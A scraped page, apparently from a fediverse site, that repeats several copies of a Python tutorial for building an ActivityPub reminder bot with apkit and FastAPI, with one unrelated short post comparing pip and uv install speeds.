from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@paco@infosec.exchange · Reply to Glyph's post
@glyph Same laptop, same version of cpython (3.13), same requirements.txt file with pip:
real 2m5.404s
user 0m42.650s
sys 0m5.081s
So 125 seconds versus 14 seconds. Pip and uv calculate dependencies differently, though uv tries to be compatible. Pip did 253 packages and uv did 250. But pip works sequentially, one package at a time. One download at a time. Like many #rust programs, uv is "embarrassingly parallel."
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
